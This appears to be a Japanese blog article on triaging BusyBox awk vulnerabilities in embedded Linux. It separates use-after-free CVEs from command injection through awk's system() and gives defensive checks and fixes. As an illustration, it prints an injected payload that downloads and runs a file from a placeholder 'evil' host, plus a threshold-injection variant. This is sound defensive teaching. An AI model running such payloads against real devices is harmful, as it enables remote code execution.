組み込み脆弱性対策シリーズ

BusyBox の awk 脆弱性を「顕在化するCVEだけ」に絞り込む3ステップ

投稿日:

組み込み脆弱性対策シリーズ

BusyBox の awk 脆弱性は「入っている」だけでは危険ではない

SBOM が並べる CVE の大半は、当該機器では顕在化しない。awk にまつわる脅威を性質の異なる2種類に分け、自機がどちらにさらされているかを、手元で再現できる3ステップで見極める。

組込み Linux セキュリティ · 読了 約 15 分 BusyBox awk CVE / SBOM
組み込み脆弱性対策シリーズ 総論・目次 →
01 BusyBox awk(この記事) 02 頻出 OSS(準備中) 03 Linux kernel(準備中) 04 自社アプリ経由(準備中)

Yocto や Buildroot で組んだ組込み Linux の SBOM をスキャナにかけると、BusyBox の CVE が何件も並ぶ。awk の use-after-free だけで9件、これに 2023 年の awk 関連4件が加わる。すべて「該当」と表示される。

だが、その大半は当該機器では顕在化しない。BusyBox に awk が含まれているという事実と、その脆弱性が実際に攻撃可能であることは、別の話だからだ。両者を混同すると、直す必要のないものに時間を使い、本当に危ないものを見落とす。

この記事の要点を先に述べる。awk にまつわる脅威は、性質のまったく異なる2つに分けて考える必要がある。

脅威 ①
use-after-free
(CVE-2021-42378 系)
awk のバグ。攻撃者が得るのは主にクラッシュ(DoS)。バージョンアップで直る。
脅威 ②
コマンド
インジェクション
awk の正規機能 system() を突く。任意コマンド実行。バージョンアップでは直らない。

この2つは、成立する前提が同じでありながら、深刻度も対策もまったく違う。そして SBOM スキャナが教えてくれるのは①だけだ。②は CVE として登録されないため、スキャナの一覧には決して現れない。以下では、まず2つの脅威の中身を押さえ、次に自機がどちらにさらされているかを見極める3ステップを示す。すべて手元で再現できるコマンドで進める。

00 / 前提

対象の CVE

Claroty Team82 と JFrog が 2021 年に公表した BusyBox の14件のうち、awk に関するものは9件ある。いずれも awk の内部関数における use-after-free で、修正は 1.34.0 で入った。

CVE 脆弱関数 影響バージョン
CVE-2021-42378getvar_i1.16 – 1.33.1
CVE-2021-42379next_input_file1.18 – 1.33.1
CVE-2021-42380clrvar1.28 – 1.33.1
CVE-2021-42381hash_init1.21 – 1.33.1
CVE-2021-42382getvar_s1.26 – 1.33.1
CVE-2021-42383evaluate1.33.1
CVE-2021-42384handle_special1.18 – 1.33.1
CVE-2021-42385evaluate1.16 – 1.33.1
CVE-2021-42386nvalloc1.16 – 1.33.1

影響バージョンの下限が CVE ごとに異なる点に注意したい。「1.34.0 未満はすべて該当」と一括処理すると、たとえば CVE-2021-42383(1.33.1 のみ)を古いバージョンに誤って当ててしまう。

CVSS も出典で割れる。CVE-2021-42378 は NVD が 7.2、発見者(JFrog)が 6.6 としている。差は攻撃複雑度(AC)で、両者とも PR:H(高権限が必要)である。この PR:H は後で効いてくる。攻撃者が awk に式を書き込める立場にいることが、そもそもの前提になっているという意味だ。

なお、1.34.0 で9件は修正されたが、その後 1.36.1 に別の awk 関連脆弱性が4件(CVE-2023-42363〜42366)見つかっている。3件は use-after-free、1件(CVE-2023-42366)はヒープバッファオーバーフローで、いずれも細工した awk パターンで発火する。上流では 1.36.1 以降に順次修正されており、バージョンを上げる場合の目標は 1.34.0 ではなく 1.37.0 以降になる。

脅威 01 / バグ

use-after-free ── バグであり、主に DoS

use-after-free とは何か

9件はすべて use-after-free(解放後使用、UAF) に分類される。まずこのバグの仕組みを押さえる。

1
malloc で領域を確保 → ポインタ p がその領域を指す
2
free でその領域を解放 p は無効な場所を指したまま(ダングリングポインタ)
3
その p を経由して読み書き ← これが use-after-free

解放された領域はすぐに別の用途へ再利用される。だから手順3で p を触ると、本来のオブジェクトとは無関係な別データを読み書きすることになる。

awk では、なぜ「解放後」に触られるのか

そもそも、なぜ一時変数が解放されるのか。awk は式を計算するとき、途中経過を入れる使い捨ての変数(内部の var 構造体)を作る。たとえば配列の添字を計算すれば、その結果を入れる一時変数が1つ生まれる。使い終われば解放する。メモリを無限に食わないための、当たり前の後始末だ。解放そのものは正常な動作である。

問題は、解放するタイミングと、そのポインタをまだ誰かが握っているかにある。CVE-2021-42378 は、おおよそ次の順序で発火する。

一時変数 t を作る(たとえば配列の添字の計算結果)
t のポインタを握ったまま、次の処理に進む ← 握っている
配列操作の途中で内部テーブルが再編成され、t が解放される ← ここで解放
②で握っていたポインタを使って t を読み書きする ← 解放済みを使用 = UAF

核心は、②で握っている側と、③で解放する側が、互いを知らないことだ。解放する側は「この一時変数はもう用済み」と判断し、握っている側は「さっき作った変数はまだ生きている」と思っている。同じ t について、片方は死んだと、片方は生きていると考えている。この認識のズレが UAF の正体である。awk のコードが一時変数の寿命を一箇所で管理できておらず、「いつ解放してよいか」の判断が処理ごとにバラバラだった。だから 1.34.0 の修正は個別のバグ潰しではなく、一時変数の寿命管理そのものを作り直す方向で行われた。

脅威① use-after-free の発火手順(getline var[expr] の場合) ① 一時変数 t を作る 配列の添字 expr を計算し、 結果を一時変数 t に入れる ② t のポインタを握ったまま進む getline の処理に入る。 「あとで使う」と t を保持 ③ 配列操作で t が解放される 要素追加で内部テーブルを再編成。 「t はもう用済み」と free ─ だが②は知らない ④ 握っていた t を使う = UAF ②のポインタで t に読み書き。 だが t は③で解放済み 認識のズレ:③は「死んだ」/②は「生きている」と思っている ④で解放領域を触った結果 無効ポインタを踏む → SIGSEGV = DoS(最多) 手つかず → 古い値を読む(無害に見える) 攻撃者が解放領域を埋められた場合のみ 任意読み書き → コード実行 要ヒープ操作。緩和機構で成功率は下がる
図1 ── 脅威① use-after-free の発火手順。②で握る側と③で解放する側が互いを知らないことが原因。結末の多くは DoS で、攻撃者が解放領域を埋められた場合のみコード実行に至る。

発火して、何が起きるのか ── 主に DoS

④で解放済みの t を触ったとき、その領域がどうなっているかで結果が変わる。

  • 解放領域が無効なポインタを含んでいた場合var 構造体は文字列へのポインタを持つ。それが解放・アンマップ済みの先を指していれば、参照した瞬間に SIGSEGV でクラッシュする。これが最も多い結末で、被害はサービス停止(DoS)に留まる。
  • 解放領域が手つかずだった場合:古い値がそのまま読め、プログラムは何事もなく続行する。異常終了すらしないが、本来読めないはずの値を読むことにはなる。

コード実行まで至るには、③で解放された領域を、④が使う前に攻撃者が自分のデータで埋める必要がある(解放直後の領域は再割り当てで優先的に返されやすい)。埋められれば、var 構造体の文字列ポインタを任意アドレスに設定でき、任意アドレスの読み書き、ひいては制御フローの奪取につながりうる。だが、これはヒープの状態を狙い通りに整える操作を要し、ASLR やヒープのランダム化があれば成功率は大きく下がる。

したがって UAF の現実的な帰結は、主に DoS と見るのが妥当だ。発見者(JFrog)の評価でも多くはクラッシュ止まりとされている。ただし組込みでは ASLR なし、単純なアロケータ、MMU なしといった構成が珍しくなく、緩和機構が弱いぶんデスクトップよりコード実行に化けやすい。「うちは緩和が弱いので DoS で済むとは言い切れない」という保守的な見方は、組込みでは正当である。

重要なのは、UAF は攻撃者が特定の式(getline var[expr] のような構造)を awk に書けて初めて発火するという点だ。ログ集計の {sum+=$3} には getline も配列添字も現れず、②の「握ったまま解放される」状況が生じない。CVSS が PR:H なのはこのためで、攻撃者がパターンを制御できる立場が前提になっている。

脅威 02 / 仕様

コマンドインジェクション ── バグではなく、任意コマンド実行

こちらは UAF とはまったく別種の脅威で、awk のバグですらない

awk には system() という、外部コマンドを実行する正規の機能がある。攻撃者が awk のプログラム(パターン)を書ける状況なら、次の一行を注入するだけでいい。

awk
BEGIN{ system("任意のコマンド") }

これは仕様どおりの動作だ。バグを突いているわけではないので、バージョンをいくら上げても塞がらない。そして UAF のようにヒープを整える手間もいらない。1行書けば、任意コマンド実行が確実に手に入る。awk が root 権限の起動スクリプトから呼ばれていれば、root でのコマンド実行になる。

つまり攻撃者がパターンを書ける状況では、わざわざ難しい UAF(主に DoS)を狙う理由がない。簡単で確実な system()(任意コマンド実行)を選ぶ。UAF を完全に飛び越えて、より深刻な結果に直行できる。

2つの脅威の対比

① use-after-free ② コマンドインジェクション
正体awk のバグawk の正規機能 system()
根はどこかBusyBox awk 本体awk が system() を持つ仕様
攻撃者が得るもの主にクラッシュ(DoS)任意コマンド実行
発火の手間高い(式の細工+ヒープ操作)低い(1行注入するだけ)
直接の対処BusyBox を 1.37.0 以降へ更新外部入力でプログラムを組むのをやめる
バージョンアップで直る直らない
CVE 登録あり(スキャナに出る)なし(スキャナに出ない)
成立の前提攻撃者がパターンを制御できる攻撃者がパターンを制御できる

前提は同じ「攻撃者がパターンを制御できる(=アプリが外部入力で awk のパターンを組んでいる)」だ。同じ使い方が、①と②の両方に同時に火をつける。だが火がつく先=根は、①と②で別の場所にあることに注意したい。①の根は BusyBox awk 本体のメモリ管理バグであり、②の根は awk が system() を持つという仕様だ。原因(アプリの使い方)は共有していても、直す場所が違う。

この「根が別」という事実は、対策に決定的な差を生む。バージョンアップは BusyBox 側しか直せないので、①には効くが②には無力だ。 system() はバグではなく仕様なので、どのバージョンの awk でも動く。逆に、アプリ側で外部入力をパターンから追い出せば(対応策A)、①の発火経路も②の注入経路も同時に断てる。整理すると次のようになる。

C
バージョンアップ:①だけを潰す。②は残る ── 「CVE は直ったのに、より危険な穴が開いたまま」という罠になる
A
使い方を変える:①②両方の火元を断つ ── 本命
B
awk を外す:①②まとめて消す ── 使っていないなら最短

②のほうが簡単で、深刻で、しかもバージョンアップでは直らない。パターンを外部入力から組んでいる機器では、①を心配する前に②で終わっている。 この事実が、以降の判定と対策の骨格になる。

同じ原因「アプリが外部入力でパターンを組む」から、根の違う2脅威が生じる 原因:アプリが設定由来でパターンを組む (ステップ3で判定。①②共通のトリガ) ① use-after-free(バグ) 根:BusyBox awk 本体のバグ 得るもの:主に DoS SBOM スキャナに出る(CVE) ② コマンドインジェクション 根:awk が system() を持つ仕様 得るもの:任意コマンド実行 SBOM スキャナに出ない 根が別なので、対策の効き方が違う バージョンアップ(C):① 直る / ② 効かない system() は仕様。どのバージョンでも動く 設定由来をやめる(A):① の発火経路も ② の注入経路も同時に断つ ← 本命 罠:バージョンアップだけで安心してはいけない 1.37.0 に上げる → スキャナは「CVE-2021-42378 解消」と表示 → 直ったと思う だが ② は残る。より危険な任意コマンド実行がそのまま 対応策A(-v化)か B(awk除去)でなければ ② は塞げない
図2 ── 同じ原因「アプリが外部入力でパターンを組む」から、根の違う2脅威が生じる。バージョンアップは①にしか効かず②を残す罠がある。動的生成をやめる対応策Aが①②両方を断つ本命。
STEP 1 / 機械で確認

OS に awk が組み込まれているか

ここからは、自機がこれらの脅威にさらされているかを3ステップで見極める。まず、そもそも脆弱なコード(awk 本体)がバイナリに含まれているかを確認する。BusyBox は数百のアプレットを1つの実行ファイルにまとめたもので、どれを含めるかはビルド時の .config で決まる。awk を外していれば、awk にまつわる脅威は①も②もコードごと存在しない。

方法1:CONFIG を確認する

ソースからビルドしているなら、.config を見るのが最も速い。

console
$ grep -E '^CONFIG_AWK|# CONFIG_AWK' .config
CONFIG_AWK=y

awk のデフォルトは有効だ。ソース内の Kconfig 定義にそう書かれている。

Kconfig
//config:config AWK
//config:	bool "awk (23 kb)"
//config:	default y

つまり make defconfig のまま何もしなければ awk は入る。「使っていないのに入っている」状態が生まれる最大の原因はここにある。

方法2:ELF をチェックする

出荷イメージのバイナリしか手元にない場合、あるいは配布された .config が実物と一致する保証がない場合は、ELF を直接読む。

ここで問題になるのが、実機バイナリは ARM や MIPS でクロスコンパイルされており、開発 PC では実行できないことだ。

console
$ ./busybox --list
-bash: ./busybox: cannot execute binary file: Exec format error

--list が使えないなら、アプレット一覧をどう得るか。BusyBox は有効なアプレット名を applet_names というシンボル(.rodata 上の NUL 区切り文字列テーブル)に持っている。これを直接読めば、実行せずに、アーキテクチャに関係なく構成が分かる。

console
$ readelf -sW busybox | grep ' applet_names'
 10797: 000c7051  2737 OBJECT  GLOBAL HIDDEN    15 applet_names

このシンボルの中身を読み出して awk が含まれるかを見る。以下は最小の Python 実装だ。

python
import re, subprocess

def rodata_map(path):
    out = subprocess.run(["readelf", "-SW", path], capture_output=True, text=True).stdout
    for l in out.splitlines():
        m = re.match(r"\s*\[\s*\d+\]\s+(\S+)\s+\S+\s+([0-9a-f]+)\s+([0-9a-f]+)", l)
        if m and m.group(1) == ".rodata":
            return int(m.group(2), 16), int(m.group(3), 16)

def applet_names(path):
    syms = subprocess.run(["readelf", "-sW", path], capture_output=True, text=True).stdout
    line = [l for l in syms.splitlines() if l.rstrip().endswith(" applet_names")][0]
    f = line.split()
    addr, size = int(f[1], 16), int(f[2])
    va, fo = rodata_map(path)
    blob = open(path, "rb").read()[addr - va + fo : addr - va + fo + size]
    return [x.decode() for x in blob.split(b"\x00") if x]

names = applet_names("busybox")
print("awk:", "ON" if "awk" in names else "OFF", "/ applets:", len(names))

awk 有効ビルドと無効ビルドで、実行せずに差が出る。

output
awk有効: arch=ARM  awk=ON   applets=397
awk無効: arch=ARM  awk=OFF  applets=396

awk が OFF なら、ここで判定は終わる。 awk 本体が存在しないため、①も②も成立しない。VEX の語彙で言えば code_not_present、最も強い根拠になる。ステップ2以降は不要である。awk が ON なら、次に進む。

注意:バージョン文字列は嘘をつくことがある

ステップ1でバージョンも確認するが、ディストロ配布版には落とし穴がある。

console
$ strings busybox | grep -m1 'BusyBox v'
BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1)

Debian / Ubuntu は脆弱性を修正しても上流バージョン番号を変えない。パッチはバックポートされ、1.36.1 のまま中身だけが直っている(あるいは直っていない)。上流の版数だけで「1.36.1 だから範囲外、非該当」と判断すると誤る。括弧内のビルド情報を検出したら、配布元のセキュリティトラッカでパッチ適用状況を確認する必要がある。なお、これで確認できるのは①(CVE)だけだ。②はバージョンに関係しない。

STEP 2 / 機械で確認

アプリ・ミドルウェアで awk を使っているか

awk が組み込まれていても、どこからも呼ばれていなければ攻撃者は到達できない。次は rootfs 内の awk 呼び出しを洗い出す。呼び出し元は BusyBox のバイナリではなく、その外側 ── 起動スクリプト、cron、自社アプリにある。だから ELF をいくら読んでも分からない。rootfs(出荷イメージのファイルシステム)が要る。

テキストであるスクリプトは中身まで読める。

console
$ grep -rn '\bawk\b' etc/init.d/ etc/rc.d/ etc/crontabs/ usr/bin/ usr/sbin/
etc/init.d/S50logrotate:3:awk '{ sum += $3 } END { print sum }' /var/log/access.log
usr/bin/filter.sh:3:awk "$rule { print }" /var/log/access.log

inittabmdev.conf、hotplug スクリプトなど、自動実行される箇所も忘れず含める。

どのスクリプトにも awk が現れなければ、ここで終わる。 awk は含まれるが到達不能で、①も②も成立しない。code_not_reachable として非該当だ。

一つ注意がある。自社アプリのコンパイル済みバイナリが system()popen() で awk を呼んでいる場合、strings で awk 参照は拾えるが、それが固定コマンドか動的生成かは判別できない。

console
$ strings usr/bin/myapp | grep awk
# awk 参照が出ても、固定 "awk '...'" か sprintf 由来かは strings では分からない

このケースは「該当箇所のソースを確認する」対象として残す。rootfs だけでは判定を確定できない部分がある、ということだ。呼び出しが見つかったら、次に進む。

STEP 3 / 人が判断

awk のパターンを動的生成しているか

これが判定の核心であり、機械化できない部分だ。ステップ2で見つけた呼び出しについて、awk のパターンが静的(ソースに固定)か、動的生成(実行時に変数から組み立てる)かを、コードを読んで見極める。ここが、①②の両方が成立するかどうかの分かれ目になる。判定は二段で考える。開発者がコードレビューで手を動かす順序そのものだ。

  • 1.一次判定(書き方を見る):パターンが静的か、動的生成か。awk '...'awk "...$var..." かで、コードを一目見て分かる。
  • 2.二次判定(変数の出所を追う):動的生成だった場合、その変数が外部入力由来か。攻撃者が制御できる値が流れ込むなら危険、内部で閉じた固定値なら実は安全。

awk には引数が2種類あることを思い出したい。

awk  'プログラム'  データ
     └第1引数        └処理対象
     パターン         入力

パターンは awk に「何をするか」を指示するコード、データは処理される中身だ。動的生成が危険なのは、外部入力がパターン側に流れ込む経路を開くからである。パターン側に攻撃者の入力が届けば、①(UAF を発火させる式を書ける)も②(system() を注入できる)もともに成立する。データ側に留まるなら、どちらも成立しない。

静的なパターン(①②とも不成立)

sh
awk '{ sum += $3 } END { print sum }' /var/log/access.log

パターンはソースに直接書かれた文字列で、実行時に変わらない。access.log は攻撃者が書き込めるかもしれないが、それは $3データとして入るだけだ。パターン({ sum += $3 } の部分)には touch できない。

攻撃者はプログラムを書けないので、②の system() 注入はできず、①の UAF を発火させる式も書けない。code_not_reachable で非該当になる。組込み機器の awk 利用は、ログ集計やフィールド抽出など、大半がこの形である。

動的生成のパターン(外部入力由来なら②が成立)

sh
rule=$(cat /etc/myapp/filter.conf)
awk "$rule { print }" /var/log/access.log

こちらは違う。設定ファイルの中身が awk のプログラムを組み立てている。パターンを実行時に変数から組んでいるので、一次判定は「動的生成」だ。そして二次判定に進む── rule の出所は filter.conf、つまり外部入力だ。filter.conf を書き換えられる者は、awk のパターンを自由に注入できる。設定ファイルが Web 管理画面から編集できる、USB から読まれる、クラウドから配信される、あるいは通信データや環境変数を経由する ── そうした経路があれば、外部入力がパターン側に届く。

本来 filter.conf には /error/ のような検索条件が入る想定だろう。だが攻撃者がこう書き換えたらどうなるか。

injected
BEGIN{ system("wget http://evil/x -O /tmp/x; chmod +x /tmp/x; /tmp/x") }

実行される awk はこうなる。

executed
awk 'BEGIN{ system("wget http://evil/x -O /tmp/x; chmod +x /tmp/x; /tmp/x") } { print }' access.log

これが脅威②だ。system() は awk の正規機能なので、何のバグも突いていない。UAF のようにヒープを整える必要もない。awk のプログラムを外部から書けるという、それ自体が任意コマンド実行に直結する。 SBOM スキャナはこれを一切報告しない。CVE ではないからだ。

変数展開も同型の罠だ。数値のつもりの値でも、クォートの外で展開すればプログラムの一部になる。

sh
threshold=$(cat /etc/myapp/threshold)
awk "\$3 > $threshold { print }" /var/log/access.log

threshold0; system("...") のような文字列を入れられれば、やはりコマンド実行に至る。構造は SQL インジェクションと同じだ。

この場合、判定を「CVE-2021-42378 に該当」で止めてはいけない。 より深刻で、しかもバージョンアップでは直らない②が成立している。対策は次の対応策A である。

なお、動的生成でも二次判定で安全に落ちる場合がある。たとえば p='{print $1}'; awk "$p" data は、書き方こそ変数展開(動的生成)だが、p はソース内の固定値で外部入力ではない。この場合は攻撃者がパターンを制御できないため、実質は静的なパターンと同じく非該当になる。一次判定だけで機械的に危険と決めず、変数の出所まで追うのはこのためだ。

見分け方

一次判定は、awk の第1引数がクォートの外に変数を持つかを見るだけでよい。書き方だけで機械的に振り分けられる。

sh
awk '...固定...'      data   # クォート内が全部リテラル → 静的。安全
awk "...$var..."     data   # ダブルクォート+変数展開 → 動的生成。要二次判定
awk -v x="$var" '...' data  # 変数は -v 経由 → データ扱い。安全
eval "awk '$gen'"           # 動的生成 → 要二次判定

ステップ2の grep 結果は、この一次判定まで機械的に下読みできる。シングルクォートで囲まれ $ 展開のないものは「静的」、ダブルクォート内に $ があるものや eval を含むものは「動的生成の疑い」。

二次判定は、動的生成と判定されたものについて、その変数の出所を追う。攻撃者が制御できる外部入力(設定ファイル、通信データ、環境変数、コマンド引数など)が流れ込むなら危険、ソース内で閉じた固定値なら安全だ。ここはデータフローを辿る作業で機械化できず、最終判定は必ずソースで確定する。複数行にまたがる awk や変数経由の固定パターンを一次判定だけで誤らないためにも、この二次判定が要る。

対応策 A / 本命

使い方を変える(動的生成のとき、最優先)

ステップ3で、外部入力由来の動的生成と判明した場合、まず検討すべきはこれだ。外部入力をパターンからデータ側へ追い出す。

sh
# 修正前:外部入力がプログラムに混入
awk "\$3 > $threshold { print }" data

# 修正後:-v でデータとして渡す
awk -v t="$threshold" '$3 > t { print }' data

-v で渡した値は awk 変数の中身にしかならず、プログラム構造には影響できない。攻撃者は system() を注入できなくなり(②の根絶)、UAF を発火させるパターンの細工もできなくなる(①の根絶)。1行の書き換えで、この呼び出しは静的なパターンと同じ code_not_reachable に落ちる。

なぜこれが本命なのか:外部入力由来のケースで最も深刻なのは①ではなく②、system() による任意コマンド実行だった。そして②はバージョンアップでは直らない。パターンへの外部入力の流入を断つこの方法だけが、②と①の両方を同時に、かつ恒久的に断つ。しかも awk 系9件の成立条件も「パターンに外部入力が届く」で共通しているため、経路を塞げば CVE も一括で解消する。BusyBox の更新も回帰試験も要らず、変更はスクリプト1行に閉じる。

デメリット:呼び出し箇所を漏れなく洗い出す必要がある。ステップ2で自社バイナリからの system() 呼び出しが残っていた場合、そこはソースに戻って直す。どうしても動的にパターンを組む設計が避けられない場合は、この方法では対処しきれない(その扱いは対応策C を参照)。

対応策 B / 最短

awk を外す(使っていないとき)

ステップ2で「awk は含まれるが使っていない」と判明した場合、あるいはステップ3の後に「この awk 利用はやめられる」と判断できた場合は、ビルドから外すのが最短だ。

console
$ sed -i 's/^CONFIG_AWK=y/# CONFIG_AWK is not set/' .config
$ make oldconfig && make

Yocto なら該当レシピの PACKAGECONFIG や busybox の設定フラグメントで、Buildroot なら busybox の .config で awk を無効化する。

メリット:判定が code_not_reachable(運用に依存する弱い根拠)から code_not_present(コード不在の強い根拠)に格上げされる。以後、awk の CVE が何件出ようと、再判定なしに非該当と言い切れる。②のコマンドインジェクションも当然に消える。バイナリサイズも 23 KB 減る。

デメリット:本当に awk を使っていないことの確認がステップ2の精度に依存する。自社バイナリからの呼び出しを見落として外すと、実行時にエラーになる。組込みでの awk 用途はフィールド抽出や集計が大半で、それらは cutsed、小さな C 関数で代替できることが多いが、置き換えには相応の検証が要る。

対応策 C / ①に限る

バージョンを上げる(①への対処に限る)

対応策Aで外部入力をデータ側に追い出せれば、CVE への個別対応は不要になる。だが、どうしてもパターンを動的に組む設計が避けられない場合には、①(UAF)そのものへの対処としてバージョンアップを行う。

目標は 1.37.0 以降だ。1.34.0 では9件が修正されているが、その後 1.36.1 に別の awk 関連脆弱性が4件(CVE-2023-42363〜42366)見つかっているため、1.34.0 では不十分になる。

注意:1.33 系から 1.37 系への更新で awk 実装は大きく作り替えられている(use-after-free の根治にはテンポラリ変数のライフサイクル全体の書き直しが必要だった)。個別コミットのチェリーピックによるバックポートは、半端に適用すると新たな use-after-free を生むため推奨しない。バージョンごと上げ、awk スクリプトの回帰試験を伴わせる。

ただし、これで済むのは①だけだ。 パターンを外部入力から組んでいる限り、②(system() による任意コマンド実行)はバージョンを上げても残る。バージョンアップを選ぶ場合でも、②は別途塞ぐ必要がある ── awk の呼び出しに --sandbox を付けて system() などを禁じる、filter.conf の書き込み経路を保護する、といった対策を併用する。バージョンアップ単独では、外部入力由来のケースを安全にはできない。

まとめ

「該当」を「顕在化する/しない」まで絞り込む

BusyBox に awk が含まれているという事実は、脅威の入口にすぎない。「該当」を「顕在化する/しない」まで絞り込むには、awk にまつわる脅威が2種類あることを踏まえたうえで、3つのステップを順に踏む。まず脅威の2分法をもう一度確認する。

  • ① use-after-free(CVE-2021-42378 系):awk のバグ。主に DoS。バージョンアップで直る。SBOM スキャナに出る。
  • ② コマンドインジェクション:awk の正規機能 system()。任意コマンド実行。バージョンアップで直らない。SBOM スキャナに出ない。

そのうえで3ステップ。

1
OS に awk が組み込まれているか(CONFIG / ELF、機械で確認)── OFF なら code_not_present で終了
2
awk を使っているか(rootfs 走査、機械で確認)── 未使用なら code_not_reachable で終了
3
awk のパターンを動的生成しているか(ソース目視、人が判断)── 静的なら①②とも不成立、外部入力由来の動的生成なら②が成立し要対応
① awkは組込みかCONFIG / ELF・機械 ② 使っているかrootfs走査・機械 ③ 設定由来かソース目視・人 OFF → 非該当code_not_present OFF 未使用 → 非該当code_not_reachable 未使用 静的 → 非該当対応策B で恒久化 静的 設定由来 → 要対応A→C の順で対策 設定由来
図3 ── 3ステップ判定フロー。多くの機器はステップ1〜2で決着し、外部入力由来の動的生成のときだけ要対応となり対応策Aへ進む。

上のステップで切れるほど、確認は軽く、根拠は強い。多くの機器はステップ1かステップ2で決着する。ステップ3まで降りたときの対応は、awk を使っていないなら対応策B(外す)、使っているならパターンが静的か、外部入力由来の動的生成かで分かれる。静的なら①②とも不成立で対応不要。外部入力由来の動的生成なら要対応で、本命は対応策A(使い方を変える)だ。

ここで見落としてはならないのが、外部入力からパターンを動的生成しているケースで最も危険なのは CVE-2021-42378 ではないという点である。awk のプログラムを外部から組める時点で、②のコマンドインジェクションが成立している。これは CVE として登録されず、SBOM スキャナの一覧には現れず、バージョンを上げても直らない。スキャナは「CVE-2021-42378 に該当」としか言わないが、本当の問題はその一段上にある。だから対策も、CVE へのパッチ(対応策C)ではなく、外部入力をパターンから断つ設計変更(対応策A)が本命になる。

CVSS のスコアだけを見て「7.2 だから危険」と機械的に判断するのでも、SBOM スキャナの「該当」をそのまま鵜呑みにするのでもなく、自分の機器で①と②が本当に成立するのかを、コードの事実に基づいて確かめる。それが、増え続ける CVE を現実的なコストで捌き、かつ CVE の陰に隠れた本当の欠陥を見落とさない方法になる。

本記事のビルド・解析コマンドは BusyBox 1.33.1 および Ubuntu 配布版 1.36.1 で実際に確認したもの。awk 脆弱性の一次情報は Claroty Team82 と JFrog の共同研究(2021年)を参照。

-組み込み脆弱性対策シリーズ

執筆者:


comment

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

関連記事

関連記事はありませんでした

Chinese (Simplified)Chinese (Traditional)EnglishFilipinoFrenchGermanHindiJapaneseKoreanMalayThaiVietnamese